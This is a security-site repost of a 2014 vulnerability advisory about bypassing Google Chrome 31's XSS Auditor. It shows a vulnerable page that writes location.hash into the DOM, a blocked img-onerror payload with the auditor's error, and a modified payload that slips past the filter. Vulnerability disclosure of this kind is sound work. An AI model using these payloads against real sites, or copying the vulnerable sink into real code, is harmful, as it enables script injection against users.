首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Google Chrome 31.0 XSS Auditor Bypass
来源:http://rhainfosec.com 作者:Baloch 发布时间:2014-09-03  
#Vulnerability: Google Chrome 31.0 XSS Auditor Bypass
#Impact: Moderate
#Authors: Rafay Baloch
#Company: RHAInfoSec
#Website: http://rhainfosec.com <http://rhainfose.com/>
#version: Latest

Description

Google chrome XSS auditor was found prone to a bypass when the user input
passed though location.hash was being written to the DOM by using
document.write property. Normally, XSS auditor checks XSS by comparing the
request and response however, it also checks for request itself, if it
contains an untrusted input to prevent DOM XSS as well.


Proof Of concept:

Consider the following code:

<html>
<body>
<script type="text/javascript">
document.write(location.hash);
</script>
</body>
</html>


This takes input from location.hash property and writes it to the DOM. We
initially inject the following payload:
#<img src=x onerror=prompt(1)>. The request is blocked and the following
error is returned:

"
The XSS Auditor refused to execute a script in 'attacker.com#><img src=x
onerror=prompt(1)>' because its source code was found within the request.
The auditor was enabled as the server sent neither an 'X-XSS-Protection'
nor 'Content-Security-Policy' header."

However, the following vector passes by:

#<img src=x onerror=prompt(1)//


The following is how its reflected inside of DOM:

<img src="x" onerror="prompt(1)//" <="" body="">

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Android Browser Same Origin Po
·LeapFTP 3.1.0 URL Handling Buf
·Wing FTP Server Authenticated
·Apple iOS 7.1.2 Merge Apps Ser
·Baidu Spark Browser v26.5.9999
·WWW File Share Pro 7.0 Denial
·IBM 1754 GCM KVM Multiple Vuln
·HTML Help Workshop 1.4 - (SEH)
·Joomla Spider Contacts 1.3.6 (
·NRPE 2.15 Remote Command Execu
·Onlineon E-Ticaret Database Di
·XRMS - Blind SQL Injection and
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved